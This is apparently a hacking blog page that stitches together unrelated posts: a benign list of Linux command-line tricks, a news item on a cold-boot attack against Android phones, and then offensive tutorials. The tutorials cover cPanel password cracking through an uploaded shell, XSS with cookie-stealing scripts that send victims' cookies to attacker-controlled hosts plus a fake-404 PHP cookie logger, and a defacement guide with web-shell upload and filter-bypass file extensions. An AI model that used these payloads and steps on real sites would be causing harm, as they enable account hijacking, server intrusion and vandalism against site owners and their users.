15 interesting and extremely helpful #Linux CLI tricks

As you start spending more and more time working on Linux command line, you tend to learn some cool tricks that make your life easy and save you lot of time. I have been working on Linux command line for many years now and I have learned a lot of Linux command line tricks. Here in this article, I will discuss some Linux command line tricks that I find worth using in my day to day command line activities.
NOTE – All the examples in this article are tested on bash shell.
TIP – Did you know sudo works with wives too?! *lulz*

Very usefully Linux command line tricks…

1. How to delete files with leading or trailing spaces?

You might find yourself struggling with deleting files with leading or trailing spaces through ‘rm’ command on Linux command line.
For example :

$ rm tempFile
rm: cannot remove `tempFile': No such file or directory

So we see that rm command says that this file does not exist. But you are pretty confident that file with such name exists. Then the only thing could be that this file name would be having leading or trailing spaces.
You can use double quotes to avoid this problem :

$ rm "tempFile "

The above command worked in my case.

Note that if you do not want to use double quotes then ‘\ ‘ can be used. Here is an example :

$ rm tempFile\

Remember to add a space after back slash.

2. How to delete files with names beginning with hyphen (-) ?

Sometimes you may find yourself stuck with a situation like this :
You have to delete a file named -1mpFile.out

$ ls
-1mpFile.out                          CPPfile.o             libCfile.so      mylinuxbook_new  prog          split

But, when you try using rm command, following error is produced :

$ rm -1mpFile.out
rm: invalid option -- '1'
Try `rm ./-1mpFile.out' to remove the file `-1mpFile.out'.
Try `rm --help' for more information.

Even if you use double quotes, you get the following error :

$ rm "-1mpFile.out"
rm: invalid option -- '1'
Try `rm ./-1mpFile.out' to remove the file `-1mpFile.out'.
Try `rm --help' for more information.

So, rm command considers the hyphen ‘-’ as an indicator that some command line option will follow and so it treats ’1mpFile.out’ as an option. Hence the error.
Now, to tell ‘rm’ that the word beginning with hyphen is file name, you need to pass double hyphen (–) first. Here is an example :

$ rm -- -1mpFile.out

So this should remove the file successfully.
Since this problem is generic ie you will observe this problem even while creating this file using ‘touch’ command etc. Double hyphen can be used with other commands too for the same purpose.
Here is another example of double hyphen but this time with touch and ls commands :

$ touch -1mpFile.out
touch: invalid option -- '1'
Try `touch --help' for more information.
$ touch -- -1mpFile.out

$ ls — -1mpFile.out -1mpFile.out

So we can safely use double hyphen (–) in a generic sense with different Linux commands.

3. How to delete all files in a directory except some (with particular extensions) ?

Suppose you have a directory with lot of files and you want to delete all the files except some of them (with particular file extensions). This can be done in following way :
Here is a directory containing lot of files :

$ ls
a.out         Cfile.c  file.c             macro.c     my_printf.c   orig_file.orig  stacksmash.c
bfrovrflw.c   cmd.c    firstPYProgram.py  main.c      new_printf.c  orig_file.rej   test_strace.c
bufrovrflw.c  env.c    helloworld.c       my_fopen.c  new.txt       prog.c          virtual_func.c

Now, you want to delete all the files except .c and .py files.
Here is what you can do :

$ rm !(*.c|*.py)

$ ls
bfrovrflw.c   Cfile.c  env.c   firstPYProgram.py  macro.c  my_fopen.c   new_printf.c  stacksmash.c   virtual_func.c
bufrovrflw.c  cmd.c    file.c  helloworld.c       main.c   my_printf.c  prog.c        test_strace.c

So you can see that files with all other extensions got deleted.

4. How to create customized backup using touch and find commands?

Touch command in association with find command can be used to create customized backups.
Suppose you want to create a backup of files that you created or changed in a directory between 9am and 5pm. For this, the very first step is to create two files temp1 and temp2 with timestamps as 9am and 5pm respectively.

$ touch -d "9am" temp1
$ touch -d "5pm" temp2

These commands will create two files temp1 and temp2 with access and modification timestamps as 9am and 5pm respectively.
Let’s cross check these by using stat command:

$ stat temp1
 File: `temp1'
 Size: 0 Blocks: 0 IO Block: 4096 regular empty file
 Device: 806h/2054d Inode: 528534 Links: 1
 Access: (0664/-rw-rw-r--) Uid: ( 1000/stun) Gid: ( 1000/stun)
 Access: 2013-04-29 09:00:00.000000000 +0100
 Modify: 2013-04-29 09:00:00.000000000 +0100
 Change: 2013-04-29 16:06:05.982909491 +0100
 Birth: -
$ stat temp2
 File: `temp2'
 Size: 0 Blocks: 0 IO Block: 4096 regular empty file
 Device: 806h/2054d Inode: 529476 Links: 1
 Access: (0664/-rw-rw-r--) Uid: ( 1000/stun) Gid: ( 1000/stun)
 Access: 2013-04-29 12:00:00.000000000 +0100
 Modify: 2013-04-29 12:00:00.000000000 +0100
 Change: 2013-04-29 16:06:12.090939793 +0100
 Birth: -

So we see that timestamps was as expected. Now move to the directory where you want to create the backup of files. Here are the contents of the directory in my case :

$ ls
bfrovrflw.c   Cfile.c  env.c   firstPYProgram.py  macro.c  my_fopen.c   new_printf.c  stacksmash.c   virtual_func.c
bufrovrflw.c  cmd.c    file.c  helloworld.c       main.c   my_printf.c  prog.c        test_strace.c

Now, I create a directory named ‘bkup’ and run the following command :

$ find . -newer ../temp1 ! -newer ../temp2 -exec cp '{}' ./bkup/ ';'

The -newer and ! -newer options in command above will first find all the files with modification time between 9am and 5pm. Then the -exec option makes sure that the cp command is run for every result (‘{}’) of find command and the file is copied to ./bkup/ folder. The terminating ‘;‘ is the indication that cp command terminates here.
Now, if you see the ‘bkup’ directroy, you’ll find all the backed up files there. Here is what I saw in my case :

$ cd bkup/
$ ls
bfrovrflw.c   Cfile.c  env.c   firstPYProgram.py  macro.c  my_fopen.c   new_printf.c  stacksmash.c   virtual_func.c
bufrovrflw.c  cmd.c    file.c  helloworld.c       main.c   my_printf.c  prog.c        test_strace.c

As all the files were created between 9am and 5pm so all of them were backed up.

5. Why rm command fails with error ‘Argument list too long’?

This usually happens when you have a directory containing huge number of files. When you do a rm -rf over it, you get something like :

-bash: /bin/rm: Argument list too long

This issue can be resolved using following command (please switch over to the desired directory before running this command):

find * -xdev -exec rm -f '{}' ';'

The find command above will supply input to rm command in batches that it can process. This is one of the fastest method to delete files.

6. How to search for all the files in a directory containing a particular string?

This can be easily achieved using grep command.
Here are a couple of examples :

$ grep -l "printf" *.c
bfrovrflw.c
bufrovrflw.c
Cfile.c
cmd.c
env.c
file.c
helloworld.c
macro.c
main.c
my_fopen.c
my_printf.c
new_printf.c
prog.c
stacksmash.c
test_strace.c
$ grep -l "buff" *.c
bfrovrflw.c

If it is desired to view the lines where the string is used in the file, then ‘find’ command can be used with ‘xargs’ and ‘grep’ command in the following way :

$ find ./ -name "*.c" | xargs grep "buff"
./bfrovrflw.c:    char buff[15];
./bfrovrflw.c:    gets(buff);
./bfrovrflw.c:    if(strcmp(buff, "MyLinuxBook"))

So we see that even the lines containing the string “buff” were displayed in the output.

7. How to Empty a file using ‘>’ operator ?

Suppose you want to empty a file from command line.
Here is how easily you can do it :

$ > [complete file path]

For example :

$ > ./logfile

This will delete all the contents of the file ‘logfile’ and empty it.

8. How to search man pages for a particular string?

You might have used Linux man pages to understand more about a command, function etc. But, what if you want to know which man pages discuss about a particular topic. For example, what if I want to know that which man pages discuss about ‘login’?
Well, there exists an option -k through which you can do this. Here is an example :

$ man -k login
access.conf (5)      - the login access control table file
add-shell (8)        - add shells to the list of valid login shells
chsh (1)             - change login shell
faillog (5)          - login failure logging file
faillog (8)          - display faillog records or set login failure limits
getlogin (3)         - get username
getlogin_r (3)       - get username
gnome-session-properties (1) - Configure applications to start on login
hotot (7)            - lightweight & opensource microbloging client
issue (5)            - prelogin message and identification file
lastlog (8)          - reports the most recent login of all users or of a given user
login (1)            - begin session on the system
login (3)            - write utmp and wtmp entries
login.defs (5)       - shadow password suite configuration
login_tty (3)        - tty utility functions
logname (1)          - print user's login name
...
...
...

So we see that all the man pages that discuss about ‘login’ were displayed in the output.

9. How to redirect stderr output messages to a file?

It so happens mostly that standard commands/programs/services stream normal log messages to stdout while error log messages to stderr stream. Now, if you just do something like :

$ [some-command] > logfile

Then only the messages that were directed to stdout would be redirected to the file ‘logfile’ but no message that was directed to stderr would be redirected to the file.
Here is an example :

$ touch new > /home/stun/derp_test/logfile 
touch: cannot touch `new': Permission denied
$ cat /home/stun/derp_test/logfile 
$

So we see that error was not redirected to the log file.
Now, to correct this, do something like :

$ touch new > /home/stun/derp_test/logfile 2>&1
$ cat /home/stun/derp_test/logfile 
touch: cannot touch `new': Permission denied

So we see that this time the error was redirected to the file successfully. Please note that 2>&1 combines both stdout and stderr streams to stdout stream only.

10. How to follow multiple log files on the go?

If it is required to follow multiple log files as they are being updated then this can be done through tail command.
Suppose I want to monitor two log files ‘logfile’ and ‘logfile1′ simultaneously then I will use the tail command as follows :

$ tail -f logfile logfile1
==> logfile <==

==> logfile1 <==

==> logfile <==
hi

==> logfile1 <==
hello

So you can see that dynamic updates to these log files can easily be monitored through tail command.

11. How to make a command not to show up in the output of ‘history’ command?

Well, sometimes you would want to run a command but do not want it to appear in the output of Linux history command.
You can achieve this by inserting a space before you type the command on prompt.
Here is an example :

$  df
Filesystem     1K-blocks    Used Available Use% Mounted on
/dev/sda6       29640780 6174904  21960188  22% /
udev             1536752       4   1536748   1% /dev
tmpfs             617620     892    616728   1% /run
none                5120       0      5120   0% /run/lock
none             1544040     156   1543884   1% /run/shm

Note that there is a space between ‘$’ and ‘df’.
Now, let’s confirm whether this command appears in the output of ‘history’ :

$ history | grep df
 1633  ls *.pdf
 1634  mv LinuxCommandsPart1.pdf LinuxCommandsPart1
 2245  history | grep df

The df command was not captured in the output of history command.

12. How to simulate on-screen typing just like you see in movies?

Well, to simulate typing just like you see in movies, use ‘pv’ command.
Try this out :

 echo "You can simulate on-screen typing just like in the movies" | pv -qL 10

Check the output for yourself.

13. How to escape the aliased version of a command?

The alias command, as we all know is used to create aliases of the commands that act as short cuts and save time.
For example, I have created alias of ls command such that whenever I execute ls, its ‘ls -lart’ that gets executed.

$ alias ls='ls -lart'

Now, if I ever intend to escape the alias and want to execute only ls, then I can do this by beginning the command with a backslash ie ‘\’.
Here is an example :

$ \ls
1                      CPPfile.o            libCPPfile.so    mylinuxbook_new  prog.c        stacksmash.c

So we see that the original ls command was executed.
NOTE – If you want to suppress an alias for a whole login session, you can use ‘unalias’ command for that.

14. How to make efficient use of Linux command line history using !! and ! ?

Double exclamation ie ‘!!’ represents the last run command on the shell. Here is an example :

 
$ uname -a
Linux stun-Inspiron-1525 3.2.0-36-generic-pae #57-Ubuntu SMP Tue Jan 8 22:01:06 UTC 2013 i686 i686 i386 GNU/Linux

$ !!
uname -a
Linux stun-Inspiron-1525 3.2.0-36-generic-pae #57-Ubuntu SMP Tue Jan 8 22:01:06 UTC 2013 i686 i686 i386 GNU/Linux

So what best can we do with !! ?
Well, firstly, you can extend the command easily. Here is an example :

$ !! | grep Linux
uname -a | grep Linux
Linux stun-Inspiron-1525 3.2.0-36-generic-pae #57-Ubuntu SMP Tue Jan 8 22:01:06 UTC 2013 i686 i686 i386 GNU/Linux

Also, it so happens many times that you run a command and you get an error that the command requires root privileges. Then you press the ‘up arrow’ key + home key + write ‘sudo’ . Well all this can be avoided using !!. Here is an example :

$ touch new_binary
touch: cannot touch `new_binary': Permission denied

$ sudo !!
sudo touch new_binary
[sudo] password for stun:

$ ls new_binary 
new_binary

Sometimes you would like to append a command to existing shell script or would like to create a new shell script, then you can use ‘!!’ to the task easily. Here is an example :

$ ls -lart /home/stun/derp_test/*.py

-rw-rw-r-- 1 stun stun 50 Mar  1 00:23 /home/stun/derp_test/firstPYProgram.py

$ echo !! > script.sh 
echo ls -lart /home/stun/derp_test/*.py > script.sh

$ cat script.sh 
ls -lart /home/stun/derp_test/firstPYProgram.py

So we see that this way !! proves to be easy and time saving. Now, lets come to single exclamation ie ‘!’ . Unlike double exclamation ie ‘!!’, through single exclamation ‘!’, we can access any previously run command that exists in command line history. Here are some examples : Use serial number from output of history command to run a particular command

 
$ history
...
...
...
2039  uname -a | grep Linux
 2040  dmesg
 2041  clear
 2042  cd bin
 2043  clear
 2044  pwd
 2045  touch new_binary
 2046  sudo touch new_binary
 2047  ls new_binary 
 2048  history

$ !2039
uname -a | grep Linux
Linux stun-Inspiron-1525 3.2.0-36-generic-pae #57-Ubuntu SMP Tue Jan 8 22:01:06 UTC 2013 i686 i686 i386 GNU/Linux

So we see that command number 2039 was run through single exclamation ‘!’ without having to type or copy paste the command again.
You can use negative integer values with ‘!’ to run second last command, third last command, fourth last command…and so on.
Here is an example :

 
 $history
...
...
...
 2049  ! 2039
 2050  uname -a | grep Linux
 2051  history

$ !-2
uname -a | grep Linux
Linux stun-Inspiron-1525 3.2.0-36-generic-pae #57-Ubuntu SMP Tue Jan 8 22:01:06 UTC 2013 i686 i686 i386 GNU/Linux

Run a new command with argument of previous command
Here is an example :

$ ls /home/stun/derp_test/*.py
/home/stun/derp_test/firstPYProgram.py

$ ls -lart !$
ls -lart /home/stun/derp_test/*.py
-rw-rw-r-- 1 stun stun 50 Mar  1 00:23 /home/stun/derp_test/firstPYProgram.py

So we see that ‘!$’ can be used to fetch argument from previous command and use it with the current command.
In case of two arguments, use carrot ‘!^’ to access first argument Here is an example :

$ ls /home/stun/derp_test/*.py /home/stun/derp_test/*.txt
/home/stun/derp_test/file.txt           /home/stun/derp_test/output.txt  /home/stun/derp_test/sort.txt
/home/stun/derp_test/firstPYProgram.py  /home/stun/derp_test/sort1.txt   /home/stun/derp_test/test.txt
/home/stun/derp_test/input.txt          /home/stun/derp_test/sort2.txt

$ ls -lart !^
ls -lart /home/stun/derp_test/*.py
-rw-rw-r-- 1 stun stun 50 Mar  1 00:23 /home/stun/derp_test/firstPYProgram.py

So we see that through ‘!^’ we can access the first argument of the previous run command. To access the any other argument (of previous run command) in current command, ‘![prev command name]:[argument number]‘ can be used. Here is an example :

$ ls !ls:2
ls /home/stun/derp_test/*.txt
/home/stun/derp_test/file.txt    /home/stun/derp_test/sort1.txt  /home/stun/derp_test/test.txt
/home/stun/derp_test/input.txt   /home/stun/derp_test/sort2.txt
/home/stun/derp_test/output.txt  /home/stun/derp_test/sort.txt

So this way, the second argument (of the previous command) was accessed. To access all the arguments of a previously run command, use ‘!*’ Here is an example :

$ ls -lart !*
ls -lart /home/stun/derp_test/*.py /home/stun/derp_test/*.txt
-r--r--r-- 1 stun stun 50 Oct 24  2012 /home/stun/derp_test/output.txt
-r--r--r-- 1 stun stun  7 Nov 10 13:46 /home/stun/derp_test/input.txt
-r--r--r-- 1 stun stun  8 Dec  7 20:38 /home/stun/derp_test/sort1.txt
-r--r--r-- 1 stun stun  8 Dec  7 20:39 /home/stun/derp_test/sort2.txt
-r--r--r-- 1 stun stun 14 Dec 14 20:45 /home/stun/derp_test/file.txt
-r--r--r-- 1 stun stun 41 Jan 23 20:42 /home/stun/derp_test/sort.txt
-rw-rw-r-- 1 stun stun 50 Mar  1 00:23 /home/stun/derp_test/firstPYProgram.py
-rw-rw-r-- 1 stun stun  0 Mar 10 15:31 /home/stun/derp_test/test.txt

Use ‘![keyword]‘ to run the last command starting with [keyword] Here is an example :

$ !ls
ls -lart /home/stun/derp_test/*.py
-rw-rw-r-- 1 stun stun 50 Mar  1 00:23 /home/stun/derp_test/firstPYProgram.py

So we see that the last ls command was executed. This way you can just write the first keyword of the command (which is command name usually) and you do not need to write the complete command. Single exclamation ‘!’ will do it for you.

15. How to switch between directories efficiently?

Working on Linux command line means switching between lot of directories. You are in a directory ‘A’, then you move to directory ‘B’. Now you want to come back to directory ‘A’. Typing the complete directory path for ‘A’ can be cumbersome sometimes. For this you can use ‘cd -’ short cut. Here is an example :

 
$ pwd
/home/stun

$ cd /usr/local/bin/

$ cd -
/home/stun

So we see that it’s easy to switch between two directories using cd- .
But, ‘cd -’ resolves only a partial problem. It can only switch you back to last directory only. What if you switch between multiple directories and then want to come back to the first or some other desired directory? I mean, suppose you are in a directory ‘A’, then you switch to directories ‘B’ -> ‘C’ -> ‘D’ -> ‘E’ and then you want to again go back to directory ‘A’.
Well, for this, you can use the combination of ‘pushd’ and ‘popd’.
Here is an example :

 
$ pwd
/home/stun

$ pushd /home/stun
~ ~

$ cd /usr
$ cd /tmp
$ cd /proc

$ popd
~

$ pwd
/home/stun

As you can see, first you pass the desired directory (to which you want to come back eventually) as argument to ‘pushd’ and then through ‘popd’ you can actually trigger a directory switch to that directory from anywhere on the command prompt.
Anyhow that’s for now, be free to comment and tip me more commands you think are useful i’ve could add to this “guide”.

Read more »

How to bypass an Android smartphone’s encryption and security: Put it in the freezer

Share This article

4
inShare

Security researchers at the University of Erlangen-Nuremberg in Germany have shown that they can extract photos, surfing history, and contact lists from Android smartphones, even if the phone is locked and the disk is encrypted. The software, called FROST, has been open-sourced by the researchers and is reasonably easy to use, if you’re interested in replicating the results. There is a caveat, though: As the name suggests, you need to put the phone in the freezer first.
The attack vector used by Tilo Müller, Michael Spreitzenbarth, and Felix Freiling is referred to as a cold boot attack. Cold booting (or hard booting) is where you reboot a system by cutting the power completely, and then turning back on. When you restart a computer normally (i.e. a warm reboot), there are usually processes in place that clear/sanitize the system’s memory — but by cold booting and bypassing these processes, the contents of any RAM are preserved.

Six successive RAM dumps from a Galaxy Nexus, as its RAM slowly loses data integrity.

“But RAM is volatile,” you decry. “RAM loses its data as soon as power is cut,” you plea — and yes, to an extent, you are right. RAM is volatile, and it does require regular spikes of power to retain its data — but when power is cut, it actually takes a few seconds or minutes for the data to be lost. If you have some way of reading the RAM, you can extract all sorts of sensitive information — most notably, the encryption key used to encrypt the local hard drive or flash storage. This fault (feature?) is called data remanence, and it also refers to the tendency for hard drives and other magnetic media to preserve data, even after being wiped.

Reading RAM is difficult, though. In the case of larger computers, you can physically transplant the stick of RAM into another computer, and read off the memory contents there. With embedded devices, such as smartphones, you don’t have that option — which is where FROST (Forensic Recovery Of Scrambled Telephones) comes in. In short, FROST is an Android recovery image — a lot like ClockworkMod — that gives you access to any data stored in RAM after a cold boot. From the main FROST menu, you can attempt to recover the full-disk encryption (FDE) keys from RAM, or simply dump the entire contents of RAM via USB to another PC for further analysis. (See: Full disk encryption is too good, says US intelligence agency.)
Now, as we mentioned, it can take anywhere from a few seconds to a few minutes for RAM to lose its data. One of the variables that causes this variance is temperature; by cooling RAM down, it preserves data for longer. In one particularly awesome research paper [PDF], liquid nitrogen has been shown to preserve DRAM contents for an entire week. In this particular case, though, the security researchers placed a Samsung Galaxy Nexus into a freezer for an hour, until the phone’s internal temperature dropped to 10C (50F). Then, by quickly removing and inserting the battery (it must be done in under 500 milliseconds), and entering FROST, they were able to make a complete dump of the phone’s RAM. Without the freezer, the phone’s RAM would lose its data before it could be recovered.
While FROST is notable as the first successful example of a cold boot attack on Android, FROST is just the latest in a long line of cold boot attack tools. In a world where full disk encryption is the norm rather than the exception in criminal circles, the ability to recover encryption keys from memory is of vital importance to the FBI, CIA, and other intelligence agencies around the world. It is now standard practice for some police forces to absolutely make sure that computers are not turned off during raids, until they have been fully scanned for encryption keys and any other data that might still be in RAM. There are defenses that can be employed against cold boot attacks, such as not storing encryption keys in RAM, but for now it seems that Android at least is still vulnerable.

New funny hack Click here

Read more »

Cpanel Hacking/Cracking Tutorial

Cpanel Hacking/Cracking Tutorial

Today we will Learn CPANEL cracking or Hacking  i.e gaining password for port no 2082 on website first of all we need a cpanel cracking shell on the server because we are going to crack those websites cpanels which are hosted on the shelled server. 

so lets start i am using cpanel.php [download it here]shell for cracking :) we need two things in cracking first one is usernames of the websites that are hosted on the server second is a good password dictonery [Get Passwords List Here]

so

 in first step :-
 grab the usernames of the websites using command ls /var/mail
 or use the "Grab the usernames from /etc/passwd" option in the shell

press the go button
  we have done from our side
  lets wait and watch ,if we have supplied good passwords then shell will show a message 
   " [~]# cracking success with username "xyz" with password "xyz"   "
  otherwise it will show 
   "[~] Please put some good passwords to crack username "xyz" :( "

  so chances of success depends on password list that we are using in cracking process 

[GUEST POST]

Read more »

Cross Site Scripting

[How to]Cross Site Scripting and cookie stealing
## Title: What is the Cross Site Scripting attack and how to use the cookie stealing attack.
## Written by: Hacking-tool
## for more info comment

In the film we see the usual guy with dark glasses and leather jacket, hacking at the keyboard, in less than a minute he has the access codes of a login system. Science fiction? No, all true!

There are various ways to attack a website. I list a few:
-XSS stands for cross-site scripting
-SQL-Injection, Injection of SQL commands in a site
-Blind Sql-Injection
-RFI or Remote File Inclusion
-LFI, Local File Inclusion
-DOS, short for Denial of Service
-DDoS, Distributed Denial of Service
-Format-string attacks

What is an XSS:
Unlike sql injection and other attacks on web applications, are vulnerable to this attack dynamic sites and not. The attack can be accomplished on any site that presents the use of JavaScript, VBScript, ActiveX, HTML and Flash. For those unfamiliar with these languages, just think that it's languages and applications that run directly from your Web browser (Internet Explorer, Netscape, Mozilla Firefox, Google Chrome, etc..). Then is a vulnerability that affects web sites with low control of variables. The XSS allows you to insert code to the browser level (often JavaScript code, but also php, html, etc.) in order to modify the source code of the webpage. Then, is possible of implementation, when a website takes as input data on which performs the operations (such as the internal search engine of the site but not only). This information is usually sent to the site via URL with a HTTP post method. These data, in non-secure sites, are displayed as they were posted by users. In this way anyone can get hold of sensitive data, such as cookies.
To do this we need only redirect our victim in a web page with the properly modified variables.
A very important thing to say is that there are two types of XSS:

Stored: in which an attacker is able to permanently modify the content of a web page, for example by entering a comment appropriately prepared for a post in a blog.
Reflected: thanks to which it is possible to produce a URL that uses the vulnerable site will alter the content of the pages so not permanent and only for HTTP requests that use URLs such specially forged.
This vulnerability is due to errors of programmers, who often neglect completely the validation of input information passed with HTTP requests.

The XSS exploit the operation of parameters badly declared:
Take for example this page in php:

Code:

<? / la variabile in esame è c
$var = $_GET ['c'];
echo $var;
?>

I said precisely that 'c' is a variable that is set up and printed on the page.
In URL level if we give the value 'hola' to this variable we will get:

Code:

http://www.site.it/test.php?c=hola

In the written page, then we find text: hola
From this we can understand that whatever value we give to c, this will be printed on the page.. and until they are words and numbers I would say everything is fine.. But if we will inject evil javascript code? Just think what would happen..
When an attacker run his code in the browser, the code will run in the security-context (or zone) for hosting the website. With this level of privilege, the code has the ability to read, edit and transmit sensitive data accessible from any browser.

A user may be vulnerable to XSS could be his account stolen (stealing cookies), his browser may be redirected elsewhere or possibly have a fraud of their data through the website they are visiting. Essentially, an XSS attack undermines the "trust" between a user and the website in question.

There are two types of cross-site scripting attacks: persistent attacks and attacks not persistent.

The non-persistent attacks require a user visits a specially modified link with malicious code. Once the link is accessed, the malicious code will run inside the browser.
The persistent attacks have malicious code in web pages that are hosted online for a period of time.
Examples of favorite target of malicious users is the post in web mail, web chat, etc.The user who is unaware of everything does not have to click on a link in particular but simply visit the web page message containing malicious code.

Structure XSS:
I would say that now there is one thing for sure: you must to have basic knowledge of html, js, etc to exploit this type of attack.

A typical attack, base, and known by all is the string:

Code:


<script>alert("XSS")</script>

analyze it:
 
<script>: opening code in javascript with the various commands;
 
alert: brings up a message alert (for who does'nt know it is a simple TextBox);
 
("XSS"): is the string that is displayed inside of Alert, do not have to be text, but also numbers (in this case it is not necessary the use of "")
 
</script>: javascript code closed;

Now we analyze this string:

Code:

<script>alert(document.cookie)</script>

 
<script> opening code in javascript with the various commands;

alert: pops up an alert

(document.cookie) instead of showing a string of text will display an alert with your cookie.

Filters:
The web master take defense very easy to overcome at times, others more complicated, and here comes the fun because it takes the imagination of each one of us to bring the so much desired alert!
These defenses are called "filters", or codes prohibiting the use of special characters. For someone less experienced may be considered completely solved, but not so! Take for example this filter:

Code:

<?
$var = $_GET ['c'];
$var = str_replace ("<script>", "script", $var);
echo $var;
?>

This will block the use of <script> and </ script>, but we should not necessarily use these.
There are various types of filters, one of which is the addslashes filter, which will place a apex before each slash (the "/") making it useless to our code. This is the structure of the filter:

Code:

<?
function addslashes ($var){
$var = str_replace ('"', '\"', $var);
$var = str_replace ("'", "\'", $var);
return $var;
}
?>

That would be inserted into a php page:

Code:

<?
$var = $_GET ['var'];
$var = addslashes ($var);
echo $var;
?>

Now you may ask. This as we overcome as we can not put any tip? A simple method would be to convert our code to ASCII.
A great site for other fantastic and ingenious XSS is: http://www.ha.ckers.org/xss.html
Now we have seen a series of commands, all harmless at first, but imagine if instead of Alert we redirect the webpage to a cookie grabber? Soon also will explain what is a cookie, how to apply it and what is the technique of cookie grabbing. continue ...

Persistent attacks:
Many web sites have message boards, tagboards, and more where you can leave one or more messages. A registered user is usually identified with a session ID cookie, so he can leave a message and be identified. If we inject malicious JavaScript code as a message, for example, we could also compromise the cookie who will read the message.
This is possible in case where the site/forum is vulnerable to XSS and injecting the command as a message visible to all:

Code:

<SCRIPT> document.location=‘http://attackerhost.example/cgi-bin/cookiesteal.cgi?’+document.cookie </SCRIPT>

This we have just mentioned is a typical example of a persistent attack ..

Non-persistent attacks:
Some sites offer a view instead of customizable web, for example, when we carry out a site login and receive a welcome message can display some data in the URL, then visible to all. In the URL might read something like this:

Code:

http://site.example/index.php?sessionid=12345678&username=yourname

if a malicious user might have modified the URL properly, inserting JS code capable of stealing cookies, you may take control of an account, obviously masking the code like this:

Code:

http://site.example/index.php?sessionid=12345678&username=%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65 %6E%74%2E%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70 %3A%2F%2F%61%74%74%61%63%6B%65%72%68%6F%73%74%2E%65 %78%61%6D%70%6C%65%2F%63%67%69%2D%62%69%6E%2F%63%6F %6F%6B%69%65%73%74%65%61%6C%2E%63%67%69%3F%27%2B%64 %6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3C%2F%73 %63%72%69%70%74%3E

Cookie Grabbing:
Technique of cookie grabbing.. What is it and how does it apply?
This technique is applicable at sites vulnerable to cross site scripting .. This vulnerability allows execution of arbitrary JavaScript code on the web application also allows the execution of malicious scripts acts to grabbing (take) cookies from the site itself...

Example of malicious JavaScript code could be:

Code:

<script language="JavaScript"> window.location="http://www.sitomio.net/logs.php?cooked="+document.cookie </script></span></p> <span style="color: #000000;">

What would be the url:

Code:

http://www.vulnerablesite.net?Keywords=%3Cscript+language%3D%22JavaScript%22%3E+window. ​ location%3D%22http%3A%2F%2Fwww.mysite.net%2Flogs.php%3Fcooked%3D%22%2Bdocument.c ​ookie+%3C%2Fscript%3E

What happens? We read http://www.vulnerablesite.net is the site vulnerable to XSS, keywords is the variable vulnerable and http://www.mysite.net is where the vulnerable site is redirect to grabbing the cookies, exactly in logs.php files that we create:

Code:

<html>
<head>
<title>404 Not Found</title>
</head>
<body>
<h1>Not Found</h1>
<?php
$capo = "</span><br /><span style="color: #000000;"> ";
$_GET['data'] = $data; //prende ciò che sta dopo "data" nell'url e lo mette nella variabile "data"
$fh = fopen("cookies.txt",'a+'); //setta in "fh" le condizioni per aprire il file cookies.txt
fwrite($fh, "$data"); //apre il file cookies.txt o lo crea se non esiste e ci scrive la variabile "data"
fwrite($fh, "$capo");//va a capo
fclose($fh); //chiude il file
?>
<p>The requested URL was not found on this server.</p>
</body>
</html>

As you can see, all processes are hidden, and when the page simply we will display "The requested URL was not found on this server", pretending a fake 404 not found, and in the cookie.txt will be saved all cookies of victims.

Upload XSS:
Here's another neat trick to exploit the XSS: D

We open a picture .gif with our beloved notepad and delete everything that is inside and edit it for example with this:

Code:

GIF89a<script>alert(“XSS”)</script>

Close, save and upload the file, is will appear your alert!

Here's what to put before the script to make sure that the image remains in its extension:

-PNG = ‰PNG
-GIF = GIF89a
-JPG = ÿØÿà JFIF
-BMP = BMFÖ

As you can see we used GIF89 before the string to get the iimagine extension. Gif

Read more »

How to Deface Website

Here I will show you how to deface a website

First of all you will need shell. I will give you modified c100 shell which I use and it is undetectable.

Download Link: Shell here

First when you download c100.php you will need to edit it with notepad. And set your Username and Password, so that only one who know user/pw can access shell and website.



Thee green part, Username and passowrd edit as you like. But the md5 pass must be crypted. For that you go to Crypo.com - Here you will make your pas MD5

Image has been scaled down 10% (870x542). Click this bar to view original image (960x598). Click image to open in new window.

So on crypo.com you write the password you writed in c100.php in my case it is hakforums and for that I get this MD5 password, copy it and paste in our shell c100.php

Code:

20e1f7d5481da19bf736569eb047e20c

So in my case c100 should look like this

Code:

$login = "Hacking-tool"; //login
//DON'T FORGOT ABOUT PASSWORD!!!
$pass = "hakforums"; //password
$md5_pass = "b54f268a2badf26e2499631f37d7b12e"; //md5-cryped pass. if null, md5($pass)

When you do that, save it and now find on website place where you can upload some file. Sometimes the website will block .php extension so you will have to bypass it. First open your shell with notepad and then Save As and change the extension to one of these

Code:

shell.php;.jpg
c100.php.jpg
c100.php..jpg
c100.php.jpg
c100.php.jpg:;
c100.php.jpg%;
c100.php.jpg;
c100.php.jpg;
c100.php.jpg:;

If website doesn't have any place where you can upload files, but have place where you can add news or new event or something you can use meta http-equiv to make redirection from website to your deface page. You do that by adding this code in news

Code:

<meta http-equiv="refresh" content="0;url=http://link_to_your_defacee_page">

Once you find admin panel upload your shell, if you can't upload .php directly upload it with modified extensions as I stated above.



After you uploaded it find the link where you uploaded it, example if you uploaded it in images then it will be in site/images/c100.php After you enter the link the new Pop up windows will apear and it will ask you for login. Here you write your username and password your wrote in c100.php. After that you should get in website.


Sometimes simply extension hiding will not work so you will have to use one addon for firefox Live HTTP Headers Install it and then hide shell extension, go to the upload section. Open Live HTTP Headers and upload shell. Now if you try to go to the link where you have your shell uploaded it will give you error (only on some websites) so we will have to change that hided .php.jpg extension into the .php. So as we uploaded the shell and opened the Live HTTP Headers you should find where you have uploaded your shell. You will have to find the line where ti writes that you uploaded the shell. Select it and then click on button reply.



After that you will have to find once again the same line of code which shows that you have uploaded shell. So when you find it select the extension you used to hide original .php. In my case it is .jpg (List of all these extension is given in this tutorial at the beginning). When you select it delete it so that we have only c100.php. And after that once again click on reply.



It should take you to the shell screen and if it doesn't you will have to find manually where shell has been uploaded and go to that link. Niote: This doesn't work for every website but work for a lot. Now you are in website.



Find main index.php and edit it with your deface page source code, and click save. Thats it

Happy defacing

Read more »